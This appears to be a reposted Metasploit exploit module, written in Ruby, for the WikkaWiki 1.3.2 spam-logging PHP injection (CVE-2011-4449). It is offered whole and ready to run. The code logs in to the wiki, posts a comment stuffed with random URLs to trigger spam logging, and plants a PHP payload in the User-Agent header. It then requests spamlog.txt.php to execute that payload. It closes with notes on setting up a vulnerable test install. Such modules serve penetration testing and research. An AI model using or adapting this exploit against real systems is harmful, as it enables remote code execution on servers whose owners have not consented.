WikkaWiki 1.3.2 Spam Logging PHP注射的方法

##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    require 'msf/core'
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include Msf::Exploit::Remote::HttpClient
    def initialize(info={})
    super(update_info(info,
    'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
    'Description' => %q{
    This module exploits a vulnerability found in WikkaWiki. When the spam logging
    feature is enabled, it is possible to inject PHP code into the spam log file via the
    UserAgent header , and then request it to execute our payload. There are at least
    three different ways to trigger spam protection, this module does so by generating
    10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).
    Please note that in order to use the injection, you must manually pick a page
    first that allows you to add a comment, and then set it as 'PAGE'.
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'EgiX', #Initial discovery, PoC
    'sinn3r' #Metasploit
    ],
    'References' =>
    [
    ['CVE', '2011-4449'],
    ['OSVDB', '77391'],
    ['EDB', '18177'],
    ['URL', 'http:// www.jb51.net /trac/wikka/ticket/1098']
    ],
    'Payload' =>
    {
    'BadChars' => "\x00"
    },
    'DefaultOptions' =>
    {
    'ExitFunction' => "none"
    },
    'Arch' => ARCH_PHP,
    'Platform' => ['php'],
    'Targets' =>
    [
    ['WikkaWiki 1.3.2 r1814', {}]
    ],
    'Privileged' => false,
    'DisclosureDate' => "Nov 30 2011",
    'DefaultTarget' => 0))
    register_options(
    [
    OptString.new('USERNAME', [true, 'WikkaWiki username']),
    OptString.new('PASSWORD', [true, 'WikkaWiki password']),
    OptString.new('PAGE', [true, 'Page to inject']),
    OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
    ], self.class)
    end
    def check
    res = send_request_raw({
    'method' => 'GET',
    'uri' => "#{target_uri.path}wikka.php?wakka=HomePage"
    })
    if res and res.body =~ /Powered by WikkaWiki/
    return Exploit::CheckCode::Detected
    else
    return Exploit::CheckCode::Safe
    end
    end
    #
    # Get the cookie before we do any of that login/exploity stuff
    #
    def get_cookie
    res = send_request_raw({
    'method' => 'GET',
    'uri' => "#{@base}wikka.php"
    })
    # Get the cookie in this format:
    # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
    if res and res.headers['Set-Cookie']
    cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
    else
    raise RuntimeError, "#{@peer} - No cookie found, will not continue"
    end
    cookie
    end
    #
    # Do login, and then return the cookie that contains our credential
    #
    def login(cookie)
    # Send a request to the login page so we can obtain some hidden values needed for login
    uri = "#{@base}wikka.php?wakka=UserSettings"
    res = send_request_raw({
    'method' => 'GET',
    'uri' => uri,
    'cookie' => cookie
    })
    # Extract the hidden fields
    login = {}
    if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
    fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
    fields.each do |name, value|
    login[name] = value
    end
    else
    raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login"
    end
    # Add the rest of fields required for login
    login['action'] = 'login'
    login['name'] = datastore['USERNAME']
    login['password'] = datastore['PASSWORD']
    login['do_redirect'] = 'on'
    login['submit'] = "Login"
    login['confpassword'] = ''
    login['email'] = ''
    port = (rport.to_i == 80) ? "" : ":#{rport}"
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => uri,
    'cookie' => cookie,
    'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
    'vars_post' => login
    })
    if res and res.headers['Set-Cookie'] =~ /user_name/
    user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
    pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
    cookie_cred = "#{cookie}; #{user}; #{pass}"
    else
    cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
    raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\""
    end
    return cookie_cred
    end
    #
    # After login, we inject the PHP payload
    #
    def inject_exec(cookie)
    # Get the necessary fields in order to post a comment
    res = send_request_raw({
    'method' => 'GET',
    'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1",
    'cookie' => cookie
    })
    fields = {}
    if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
    $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
    fields[n] = v
    end
    else
    raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment"
    end
    # Generate enough URLs to trigger spam logging
    urls = ''
    10.times do |i|
    urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
    end
    # Add more fields
    fields['body'] = urls
    fields['submit'] = 'Add'
    # Inject payload
    b64_payload = Rex::Text.encode_base64(payload.encoded)
    port = (rport.to_i == 80) ? "" : ":#{rport}"
    uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment"
    post_data = ""
    send_request_cgi({
    'method' => 'POST',
    'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment",
    'cookie' => cookie,
    'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
    'vars_post' => fields,
    'agent' => "<?php #{payload.encoded} ?>"
    })
    send_request_raw({
    'method' => 'GET',
    'uri' => "#{@base}spamlog.txt.php"
    })
    end
    def exploit
    @peer = "#{rhost}:#{rport}"
    @base = target_uri.path
    @base << '/' if @base[-1, 1] != '/'
    print_status("#{@peer} - Getting cookie")
    cookie = get_cookie
    print_status("#{@peer} - Logging in")
    cred = login(cookie)
    print_status("#{@peer} - Triggering spam logging")
    inject_exec(cred)
    handler
    end
    end
    =begin
    For testing:
    svn -r 1814 co https://wush.net/svn/wikka/trunk wikka
    Open wikka.config.php, do:
    'spam_logging' => '1'
    =end